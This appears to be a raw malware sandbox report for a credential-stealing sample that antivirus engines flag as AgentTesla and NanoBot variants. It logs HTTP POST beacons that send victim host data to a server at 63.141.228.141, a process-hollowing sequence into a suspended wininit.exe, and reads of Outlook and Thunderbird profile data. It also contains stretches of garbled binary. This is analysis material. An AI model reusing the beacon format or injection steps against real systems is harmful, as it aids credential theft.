ç\Zu28\Û9n4@ºN³ÕB|мïN¥}û§¬-±ã·)™{lÍØg<EcMZµƒŒj$­-i[•~O›z'uRÆ}d¼KØcù_S´úeÖ¬ƒÐK«×}9Þlx¾&wgh_ý&½Ñ©½‰^Ê~GRéTêvPD÷1Âáp"þWR¹2¹ÓÅ”AËO´û ÈvOm£ä:FýôS'qlÓRu²Ç~¡7Ôm5©³ \"½ ,ÒÙ$ê‰cozMxÄlkÓHø´ê2%dùº¯˜Bc0âjâÊ-:Ñêº1"_XÚ1~f4F¿2ÞDY]ó
socket: 428
sent: 3718
1 3718 0

connect

 ip_address: 63.141.228.141
socket: 448
port: 80
1 0 0

send

 buffer: POST /32.php/S4wFP8QBww9Tp HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 63.141.228.141 Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B78A3212 Content-Length: 186 Connection: close
socket: 448
sent: 247
1 247 0

send

 buffer: 'ckav.ru test22TEST22-PCtest22-PCÆ+086627BC41D896D6F4DE8430FUaygg
socket: 448
sent: 186
1 186 0

connect

 ip_address: 63.141.228.141
socket: 448
port: 80
1 0 0

send

 buffer: POST /32.php/S4wFP8QBww9Tp HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 63.141.228.141 Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B78A3212 Content-Length: 159 Connection: close
socket: 448
sent: 247
1 247 0

send

 buffer: (ckav.ru test22TEST22-PCtest22-PC086627BC41D896D6F4DE8430F
socket: 448
sent: 159
1 159 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZÿÿ¸@𺴠Í!¸LÍ!This program cannot be run in DOS mode. $ÌÍxþˆ¬­ˆ¬­ˆ¬­Ô•­‰¬­K£K­Š¬­ ­‰¬­=2󭋬­ˆ¬­Œ¬­Ôƒ­‰¬­ˆ¬­Ç¬­Ô…­™¬­=2÷­ó¬­=2È­‰¬­Richˆ¬­PEL…lWà  8¢Þ9P@ €ЎdP\.textõ68 `.rdata`@PB<@@.data$^ ~@À.x €À
base_address: 0x00400000
process_identifier: 2312
process_handle: 0x00000264
1 1 0

WriteProcessMemory

 buffer: ™TÍ<¨‡K¢`ˆˆÝ;U
base_address: 0x0041a000
process_identifier: 2312
process_handle: 0x00000264
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2312
process_handle: 0x00000264
1 1 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZÿÿ¸@𺴠Í!¸LÍ!This program cannot be run in DOS mode. $ÌÍxþˆ¬­ˆ¬­ˆ¬­Ô•­‰¬­K£K­Š¬­ ­‰¬­=2󭋬­ˆ¬­Œ¬­Ôƒ­‰¬­ˆ¬­Ç¬­Ô…­™¬­=2÷­ó¬­=2È­‰¬­Richˆ¬­PEL…lWà  8¢Þ9P@ €ЎdP\.textõ68 `.rdata`@PB<@@.data$^ ~@À.x €À
base_address: 0x00400000
process_identifier: 2312
process_handle: 0x00000264
1 1 0
Elastic malicious (high confidence)
Cylance Unsafe
Cyren W32/MSIL_Kryptik.DLO.gen!Eldorado
Symantec Scr.Malcode!gdn30
ESET-NOD32 a variant of MSIL/GenKryptik.FHHJ
APEX Malicious
Kaspersky VHO:Backdoor.MSIL.NanoBot.gen
Avast FileRepMalware
SentinelOne Static AI - Suspicious PE
Microsoft Trojan:MSIL/AgentTesla.FN!MTB
Cynet Malicious (score: 100)
Malwarebytes MachineLearning/Anomalous.95%
MaxSecure Trojan.Malware.300983.susgen
Fortinet MSIL/Zmutzy.10!tr
AVG FileRepMalware
file C:\Users\test22\AppData\Roaming\Thunderbird\profiles.ini
registry HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
registry HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Thunderbird\78.4.0 (ko)\Main
registry HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook
Process injection Process 1908 called NtSetContextThread to modify thread in remote process 2312
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4274654
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000260
process_identifier: 2312
1 0 0
Process injection Process 1908 resumed a thread in remote process 2312
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000260
suspend_count: 1
process_identifier: 2312
1 0 0
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000000dc
suspend_count: 1
process_identifier: 1908
1 0 0

NtResumeThread

 thread_handle: 0x00000154
suspend_count: 1
process_identifier: 1908
1 0 0

NtResumeThread

 thread_handle: 0x00000190
suspend_count: 1
process_identifier: 1908
1 0 0

NtResumeThread

 thread_handle: 0x00000258
suspend_count: 1
process_identifier: 1908
1 0 0

CreateProcessInternalW

 thread_identifier: 2328
thread_handle: 0x00000260
process_identifier: 2312
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\wininit.exe
track: 1
command_line:
filepath_r: C:\Users\test22\AppData\Local\Temp\wininit.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000264
1 1 0

NtGetContextThread

 thread_handle: 0x00000260
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2312
region_size: 663552
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000264
1 0 0

WriteProcessMemory

 buffer: MZÿÿ¸@𺴠Í!¸LÍ!This program cannot be run in DOS mode. $ÌÍxþˆ¬­ˆ¬­ˆ¬­Ô•­‰¬­K£K­Š¬­ ­‰¬­=2󭋬­ˆ¬­Œ¬­Ôƒ­‰¬­ˆ¬­Ç¬­Ô…­™¬­=2÷­ó¬­=2È­‰¬­Richˆ¬­PEL…lWà  8¢Þ9P@ €ЎdP\.textõ68 `.rdata`@PB<@@.data$^ ~@À.x €À
base_address: 0x00400000
process_identifier: 2312
process_handle: 0x00000264
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00401000
process_identifier: 2312
process_handle: 0x00000264
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00415000
process_identifier: 2312
process_handle: 0x00000264
1 1 0

WriteProcessMemory

 buffer: ™TÍ<¨‡K¢`ˆˆÝ;U
base_address: 0x0041a000
process_identifier: 2312
process_handle: 0x00000264
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x004a0000
process_identifier: 2312
process_handle: 0x00000264
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2312
process_handle: 0x00000264
1 1 0

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4274654
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000260
process_identifier: 2312
1 0 0

NtResumeThread

 thread_handle: 0x00000260
suspend_count: 1
process_identifier: 2312
1 0 0

NtResumeThread

 thread_handle: 0x00000110
suspend_count: 1
process_identifier: 2312
1 0 0